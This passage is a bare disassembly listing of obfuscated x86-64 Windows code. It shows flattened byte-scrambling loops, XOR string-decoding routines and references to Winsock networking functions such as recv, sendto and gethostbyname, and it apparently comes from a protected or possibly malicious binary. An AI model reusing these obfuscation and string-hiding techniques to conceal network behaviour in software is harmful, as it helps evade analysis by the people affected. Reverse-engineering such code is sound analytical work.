and cl, r8b
add cl, cl
sub sil, cl
sub sil, 0x7c
jmp 0x14018a52e
mov byte [rbp + r11 + 0x45a], sil
inc r11
jmp 0x140189c23
movzx esi, byte [rbp + r11 + 0x45a]
movzx r15d, r11b
movzx ecx, al
lea r8d, [r15 - 0x18]
and cl, r8b
add cl, cl
sub sil, cl
sub sil, 0x58
add sil, r8b
add sil, al
add r15b, 0x79
movzx ecx, al
and cl, r15b
movzx edx, sil
add cl, cl
sub dl, cl
sub dl, 0x4f
add dl, al
add dl, r15b
mov byte [rbp + r11 + 0x45a], dl
jmp 0x14018a56e
lea r8d, [r11 + 0xa]
movzx ecx, al
and cl, r8b
movzx esi, al
add cl, cl
sub sil, cl
sub sil, byte [rbp + r11 + 0x45a]
sub sil, 0x46
jmp 0x14018a5ac
lea edx, [r11 + 0x17]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea esi, [rdx + rax]
movzx eax, byte [rbp + r11 + 0x45a]
add rax, r10
add sil, 0x5f
add r11, rax
inc r11
jmp 0x140189c23
lea r8d, [r11 - 0x2d]
movzx ecx, al
and cl, r8b
movzx esi, al
add cl, cl
sub sil, cl
add sil, 0x3b
jmp 0x14018a5ac
lea edx, [r11 - 0x71]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea esi, [rdx + rax]
add sil, 0x17
jmp 0x14018a56e
lea edx, [r11 + 0x4b]
movzx ecx, al
and cl, dl
dec r11
add cl, cl
sub al, cl
lea esi, [rdx + rax]
sub sil, 0xd
inc r11
jmp 0x140189c23
movzx r15d, r11b
movzx ecx, al
movzx esi, al
lea r8d, [r15 + 7]
and cl, r8b
add cl, cl
sub sil, cl
sub sil, 0x31
jmp 0x14018a52e
movzx r15d, r11b
movzx ecx, al
movzx esi, al
lea r8d, [r15 - 0x3d]
and cl, r8b
add cl, cl
sub sil, cl
sub sil, 0x55
add sil, r8b
movzx ecx, al
add r15b, 0x57
and cl, r15b
add cl, cl
sub al, cl
sub al, 0x61
add al, r15b
mov byte [rbp + r11 + 0x45a], al
inc r10
dec r11
inc r11
jmp 0x140189c23
lea edx, [r11 + 0x3b]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea esi, [rdx + rax]
add sil, 0x63
add r9, r10
movzx eax, sil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140189c23
movabs r8, 0x5170a4e2fde411f7
movzx esi, dl
add r8, r11
movzx eax, dl
movzx ecx, r8b
and cl, dl
add cl, cl
sub sil, cl
add sil, 0x3f
add sil, r8b
lea r8d, [r11 - 0x65]
movzx ecx, al
and cl, r8b
inc r10
add cl, cl
movzx edx, al
sub dl, cl
sub dl, 0x3d
add dl, r8b
movzx ecx, dl
mov byte [rbp + r11 + 0x45a], cl
add rcx, r10
sub r11, rcx
movzx ecx, al
lea edx, [r11 + 0x2c]
and cl, dl
inc r9
add cl, cl
sub al, cl
sub al, 0x34
add al, dl
mov byte [rbp + r11 + 0x45a], al
mov rax, 0xffffffffffffffff
sub rax, r9
add r11, rax
movzx eax, byte [rbp + r11 + 0x45a]
add rax, r10
add r11, rax
inc r11
jmp 0x140189c23
movabs rcx, 0x47796b3cb5f407b3
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea esi, [rdx + rcx]
add sil, 0x1b
movzx eax, byte [rbp + r11 + 0x45a]
add rax, r10
add r11, rax
inc r11
jmp 0x140189c23
add r11b, 0x55
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea esi, [r11 + rax]
sub sil, 0x53
jmp 0x140189c20
add r11b, 0x33
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea esi, [r11 + rax]
sub sil, 0x65
jmp 0x140189c10
lea rdx, [rbp + 0x151bdc6]
jmp 0x14018a69d
lea rdx, [rbp + 0xcdc057]
jmp 0x14018a69d
lea rdx, [rbp + 0x45a]
lea rcx, [rbp + 0x6b0]
call fcn.14013a710
lea r8, [rbp + 0x670]
mov rcx, r12
lea rdx, [rbp + 0x6b0]
call fcn.140151ed0
lea rcx, [rbp + 0x6b0]
call fcn.1401358f0
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x650]
call fcn.14013a6d0
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x650]
mov rdi, qword [rax]
call fcn.14013a6d0
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x650]
mov rbx, qword [rax]
call fcn.14013a6f0
lea r9, [0x140187bb0]
mov r8, rbx
lea rcx, [rbp - 0x58]
mov rdx, qword [rax]
call fcn.1401bf6b0
mov r9, rdi
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x650]
mov r8, qword [rax]
call fcn.1401bf0c0
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x650]
call fcn.14013a6d0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x650]
mov rdi, qword [rax]
call fcn.14013a6d0
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x650]
mov rbx, qword [rax]
call fcn.14013a6f0
lea r9, [0x140187b90]
mov r8, rbx
lea rcx, [rbp - 0x30]
mov rdx, qword [rax]
call fcn.1401bf6b0
mov r9, rdi
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x650]
mov r8, qword [rax]
call fcn.1401bf0c0
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x670]
call fcn.14013a6d0
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x670]
mov rdi, qword [rax]
call fcn.14013a6d0
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x670]
mov rbx, qword [rax]
call fcn.14013a6f0
lea r9, [0x140187bb0]
mov r8, rbx
lea rcx, [rbp - 8]
mov rdx, qword [rax]
call fcn.1401bf6b0
mov r9, rdi
lea rdx, [rbp]
lea rcx, [rbp + 0x670]
mov r8, qword [rax]
call fcn.1401bf0c0
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x670]
call fcn.14013a6d0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x670]
mov rdi, qword [rax]
call fcn.14013a6d0
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x670]
mov rbx, qword [rax]
call fcn.14013a6f0
lea r9, [0x140187b90]
mov r8, rbx
lea rcx, [rbp + 0x20]
mov rdx, qword [rax]
call fcn.1401bf6b0
mov r9, rdi
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x670]
mov r8, qword [rax]
call fcn.1401bf0c0
xorps xmm0, xmm0
lea rcx, [rbp + 0x240]
movups xmmword [rbp + 0x240], xmm0
call fcn.1401bef00
mov ebx, dword [rbp + 0x660]
lea rcx, [rbp + 0x650]
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
call fcn.140135430
mov r15, qword [rsp + 0x38]
lea rcx, [rbp + 0x250]
mov r9, r15
mov r8d, ebx
mov rdx, rax
call fcn.1401bec20
movzx ecx, byte [rbp + 0xc8c]
mov rbx, rax
test cl, cl
je 0x14018a8d2
xor byte [rbp + 0xc88], 0x32
xor byte [rbp + 0xc89], 0x33
xor byte [rbp + 0xc8a], 0x34
xor byte [rbp + 0xc8b], 0x35
xor cl, 0x36
mov byte [rbp + 0xc8c], cl
mov r8, r15
lea rdx, [rbp + 0xc88]
lea rcx, [rbp + 0x260]
call fcn.1401bef50
mov r9, r15
lea rcx, [rbp + 0x240]
mov r8, rbx
mov rdx, rax
call fcn.1401bf560
lea rcx, [rbp + 0x260]
call fcn.14015a7f0
lea rcx, [rbp + 0x250]
call fcn.14015a7f0
mov ebx, dword [rbp + 0x680]
lea rcx, [rbp + 0x670]
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
call fcn.140135430
mov r9, r15
lea rcx, [rbp + 0x270]
mov r8d, ebx
mov rdx, rax
call fcn.1401bec20
cmp byte [rbp + 0x1ac], 0
mov rbx, rax
je 0x14018aab4
xor r8d, r8d
cmp dword [0x1404bc010], 2
jl 0x14018aa70
movdqa xmm2, xmmword [0x140495430]
mov r8d, 8
movdqa xmm3, xmmword [0x140495440]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140495640]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140495460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp + 0x1a0]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1404954d0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140495530]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp + 0x1a0], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140495460]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp + 0x1a4]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1404954d0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140495530]
xorps xmm2, xmm0
movd dword [rbp + 0x1a4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a0]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14018aa80
mov r8, r15
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x280]
call fcn.1401bef50
mov r9, r15
lea rcx, [rbp + 0x240]
mov r8, rbx
mov rdx, rax
call fcn.1401bf560
lea rcx, [rbp + 0x280]
call fcn.14015a7f0
lea rcx, [rbp + 0x270]
call fcn.14015a7f0
mov r8, r15
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x210]
call fcn.1401bed30
lea rcx, [rbp + 0x240]
call fcn.14015a7f0
lea rcx, [rbp + 0x670]
call fcn.1401358f0
lea rcx, [rbp + 0x650]
call fcn.1401358f0
mov rax, qword [rbp + 0x8a8]
inc r13d
sub rax, qword [rbp + 0x8a0]
movabs r12, 0x98fb8d23f14e8841
sar rax, 3
movsxd rdi, r13d
cmp rdi, rax
jb 0x140188fc0
movaps xmm6, xmmword [rsp + 0xd20]
mov esi, dword [0x1404bc010]
movzx eax, byte [rbp + 0xc94]
test al, al
je 0x14018ab99
xor byte [rbp + 0xc90], 0x32
xor byte [rbp + 0xc91], 0x33
xor byte [rbp + 0xc92], 0x34
xor byte [rbp + 0xc93], 0x35
xor al, 0x36
mov byte [rbp + 0xc94], al
mov r8, r15
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x290]
call fcn.1401bef50
mov r9, r15
lea r8, [rbp + 0x210]
mov rdx, rax
lea rcx, [rbp + 0x9c0]
call fcn.1401bf560
lea rcx, [rbp + 0x290]
call fcn.14015a7f0
lea rcx, [rbp + 0x210]
call fcn.14015a7f0
mov r13, 0xffffffffffffffff
lea rcx, [rbp + 0x898]
call fcn.140152450
lea rcx, [rbp + 0x898]
call fcn.140152450
lea rcx, [rbp + 0x630]
call fcn.1401358f0
mov eax, dword [0x1404940a8]
movabs r14, 0x185fd4c474dfd78
movsd xmm0, qword [str._VZiYMTXN]
movabs r12, 0xdb5e7ae81bde938
movzx edx, byte [rbp + 0xc88]
mov dword [rbp + 0x198], eax
mov eax, dword [0x140493b60]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140493b64]
mov word [rsp + 0x34], ax
movzx eax, byte [reloc.WS2_32.dll_getservbyport]
mov byte [rsp + 0x36], al
mov eax, dword [str._VZE7]
mov dword [rsp + 0x28], eax
movzx eax, word [0x140493be0]
mov word [rsp + 0x2c], ax
xor eax, eax
mov qword [rbp + 0x858], rax
mov dword [rbp + 0x860], eax
mov word [rbp + 0x864], ax
mov byte [rbp + 0x866], al
movsd qword [rbp + 0x190], xmm0
mov dword [rbp + 0x83a], 0xd6ced4c3
mov dword [rbp + 0x83e], 0xd16c1d7
mov dword [rbp + 0x842], 0x34382fe8
mov dword [rbp + 0x846], 0x3619ed31
mov dword [rbp + 0x84a], 0x2cf0f23e
mov dword [rbp + 0x84e], 0x22352406
mov dword [rbp + 0x852], 0x293b261a
mov word [rbp + 0x856], 0xdd38
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
xor r11d, r11d
cmp r11, 0x2d
jae 0x14018b8c0
movzx r10d, byte [rbp + r11 + 0x83a]
mov rbx, r10
nop dword [rax]
cmp r8, r11
ja 0x14018b8b7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14018ad46
lea rdx, [r11 + r14]
movzx eax, dl
and al, bl
add al, al
sub dl, al
sub dl, 0x48
add dl, bl
jmp 0x14018ad90
je 0x14018b83c
inc rax
cmp r8, rax
je 0x14018b812
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018b7e6
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018b7c6
lea rax, [r9 + 5]
cmp r8, rax
je 0x14018b7a0
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018b759
nop dword [rax]
cmp r9, r11
ja 0x14018b8ae
lea rcx, [r9 + 6]
cmp r8, rcx
jae 0x14018adbc
lea edx, [r11 - 0x28]
mov ecx, reloc.WS2_32.dll_inet_ntoa
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14018ae00
lea rax, [r9 + 1]
cmp r8, rax
je 0x14018b747
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018b724
lea rax, [r9 + 5]
cmp r8, rax
je 0x14018b6fa
cmp r8, rcx
je 0x14018b679
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018b64a
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x14018b355
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14018b337
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14018b310
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018b2ef
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14018b415
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14018b2c2
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018b296
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14018b27c
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14018b25f
lea rax, [r9 + 1]
cmp r8, rax
je 0x14018b232
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14018ae10
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14018b88e
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14018b872
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14018aff7
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14018afda
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14018afc0
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14018b1e3
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14018b19e
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14018b15d
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14018b137
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14018ae10
lea r8, [r9 + 0x7a]
lea r9, [r8 + 1]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14018b108
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14018b0ec
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14018b0de
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14018b0b4
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14018b08d
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14018b071
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14018b050
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14018b02a
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14018b014
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x400]
jmp 0x14018ae10
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x18
jmp 0x14018ae00
lea edx, [r11 + 0x38]
mov ecx, 0x3c
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14018ad90
lea edx, [r11 + 0x48]
mov ecx, 4
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14018ad16
lea edx, [r11 - 0x40]
movzx eax, r10b
and al, dl
movzx ebx, r11b
sub dl, 0x40
jmp 0x14018b769
lea edx, [r11 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
inc r9
add cl, cl
dec r11
add cl, r10b
add dl, cl
inc r11
jmp 0x14018ad03
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
dec r11
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x20
inc r11
jmp 0x14018ad03
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
movzx ebx, r11b
add cl, cl
jmp 0x14018b5f8
movzx eax, r10b
mov rcx, r13
and al, r11b
add r8, r9
add al, al
sub r10b, al
lea edx, [r11 + r10]
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018ad03
lea ecx, [r11 + 0x10]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
mov rcx, r13
sub dl, 0x70
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018ad03
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14018b682
lea edx, [r11 + 0x30]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x50
sub cl, al
add dl, cl
jmp 0x14018b6b9
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
movzx eax, byte [rbp + r11 + 0x83a]
add cl, cl
add rax, r9
add cl, r10b
add r11, rax
add dl, cl
inc r11
jmp 0x14018ad03
lea ecx, [r11 - 0x18]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x58
mov byte [rbp + r11 + 0x83a], dl
inc r11
jmp 0x14018ad03
lea edx, [r11 - 8]
mov ecx, 0x1c
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
cmp r9, 5
jb 0x14018b14d
movzx ecx, r10b
movzx ebx, r11b
movzx eax, r10b
lea edx, [rbx - 0x30]
and al, dl
add al, al
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x60]
jmp 0x14018b773
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x38
cmp r8, 0x61
jae 0x14018b5db
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x14018b529
lea edx, [r11 + 0x70]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x10
sub cl, al
add dl, cl
jmp 0x14018b175
lea edx, [r11 + 0x18]
mov ecx, 0x2c
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x14018b635
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x14018b452
lea edx, [r11 - 0x68]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x28
sub cl, al
add dl, cl
jmp 0x14018b1b3
lea ecx, [r11 + 0x10]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + r11 + 0x83a]
add rax, r9
add r11, rax
lea edx, [rcx + r10]
sub dl, 0x70
inc r11
jmp 0x14018ad03
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14018b6b9
lea edx, [r11 + 0x30]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x50
jmp 0x14018b68f
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov rcx, r13
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018ad03
lea ecx, [r11 + 0x50]
movzx eax, r10b
and al, cl
add r8, r9
add al, al
sub r10b, al
lea edx, [rcx + r10]
mov rcx, r13
sub dl, 0x30
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018ad03
lea ecx, [r11 + 0x70]
movzx eax, r10b
and al, cl
dec r11
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x10
inc r11
jmp 0x14018ad03
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
inc r9
add al, al
dec r11
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x80
inc r11
jmp 0x14018ad03
movzx ebx, r11b
movzx eax, r10b
mov ecx, 8
lea edx, [rbx - 0x70]
and al, dl
sub cl, al
add cl, cl
add cl, r10b
jmp 0x14018b771
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x14018b37a
lea edx, [r11 + 0x78]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x48
sub cl, al
add dl, cl
jmp 0x14018b1fb
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018b3b2
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
movzx eax, byte [rbp + r11 + 0x83a]
add cl, cl
add rax, r9
add cl, r10b
add r11, rax
add dl, cl
inc r11
jmp 0x14018ad03
inc rax
cmp r8, rax
jne 0x14018b3d6
lea edx, [r11 - 0x60]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x60
sub cl, al
add dl, cl
jmp 0x14018b6b9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018b40c
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
mov rcx, r13
add dl, 0x80
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018ad03
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14018b430
movzx ebx, r11b
movzx eax, r10b
mov ecx, gethostbyaddr
lea edx, [rbx + 0x60]
and al, dl
sub cl, al
add cl, cl
jmp 0x14018b5f8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14018b1fb
movzx ebx, r11b
movzx eax, r10b
lea edx, [rbx + 0x30]
and al, dl
sub dl, 0x50
jmp 0x14018b769
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018b479
movzx ebx, r11b
movzx eax, r10b
mov ecx, 0x24
lea edx, [rbx - 0x78]
and al, dl
sub cl, al
add cl, cl
add cl, r10b
jmp 0x14018b771
inc rax
cmp r8, rax
jne 0x14018b4a4
lea edx, [r11 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
dec r11
add cl, cl
add cl, r10b
add dl, cl
inc r11
jmp 0x14018ad03
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018b4dc
lea edx, [r11 + 0x48]
mov ecx, 4
movzx eax, dl
add r8, r9
and al, r10b
sub cl, al
add cl, cl
add dl, cl
mov rcx, r13
add dl, r10b
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018ad03
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14018b4ff
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x18
jmp 0x14018b691
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14018b1b3
lea edx, [r11 + 0x18]
mov ecx, 0x2c
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14018b6b9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018b561
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
movzx eax, byte [rbp + r11 + 0x83a]
add cl, cl
add rax, r9
add cl, r10b
add r11, rax
add dl, cl
inc r11
jmp 0x14018ad03
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14018b584
movzx ebx, r11b
movzx eax, r10b
movzx ecx, r10b
lea edx, [rbx + 0x10]
and al, dl
add al, al
sub cl, al
sub dl, 0x70
jmp 0x14018b5fb
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14018b5a8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
dec r11
inc r11
jmp 0x14018ad03
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018b175
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
inc r9
add cl, cl
dec r11
add cl, r10b
add dl, cl
inc r11
jmp 0x14018ad03
movzx ecx, byte [rbp + r11 + 0x83a]
movzx ebx, r11b
movzx eax, r10b
lea edx, [rbx - 0x40]
and al, dl
add al, al
sub cl, al
sub dl, 0x40
add cl, r10b
add dl, cl
add bl, 0x38
mov ecx, 0x3c
movzx eax, bl
add r8, r9
and al, r10b
sub cl, al
movzx eax, dl
add cl, cl
add cl, bl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x83a], cl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018ad03
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
add cl, cl
jmp 0x14018b68f
lea edx, [r11 + 0x48]
mov ecx, 4
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 + 0x83a]
add cl, cl
add rax, r9
add dl, cl
add r11, rax
add dl, r10b
inc r11
jmp 0x14018ad03
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
lea ecx, [r11 + 0x28]
inc r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x18
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x83a], al
add rax, r9
sub r11, rax
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
inc r8
add al, al
sub r10b, al
mov rax, r13
sub rax, r8
sub r10b, 0x60
add r10b, cl
mov byte [rbp + r11 + 0x83a], r10b
add r11, rax
movzx eax, byte [rbp + r11 + 0x83a]
add rax, r9
add r11, rax
inc r11
jmp 0x14018ad03
lea ecx, [r11 + 0x78]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
mov rcx, r13
sub dl, 0x48
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018ad03
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
dec r11
add cl, cl
add cl, r10b
add dl, cl
inc r11
jmp 0x14018ad03
movzx ebx, r11b
movzx eax, r10b
lea edx, [rbx - 0x38]
and al, dl
sub dl, 0x78
jmp 0x14018b769
movzx ebx, r11b
movzx eax, r10b
lea edx, [rbx - 0x18]
and al, dl
sub dl, 0x58
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
add bl, 0x48
mov ecx, 4
movzx eax, bl
inc r9
and al, r10b
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
mov byte [rbp + r11 + 0x83a], cl
dec r11
inc r11
jmp 0x14018ad03
lea edx, [r11 - 8]
mov ecx, 0x1c
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc r9
dec r11
inc r11
jmp 0x14018ad03
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x38
dec r11
inc r11
jmp 0x14018ad03
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x18
movzx eax, dl
mov rcx, r13
sub rcx, rax
add r8, r9
add r11, rcx
inc r11
jmp 0x14018ad03
lea rcx, [r11 + r12]
mov edx, 0x3c
movzx eax, cl
and al, bl
sub dl, al
add dl, dl
add dl, cl
add dl, bl
movzx eax, dl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018ad03
movabs rcx, 0x491f7e4d5e9f868
mov edx, reloc.WS2_32.dll_sendto
add rcx, r11
movzx eax, cl
and al, bl
sub dl, al
add dl, dl
add dl, cl
add dl, bl
movzx eax, byte [rbp + r11 + 0x83a]
add rax, r9
add r11, rax
inc r11
jmp 0x14018ad03
add r11b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x68
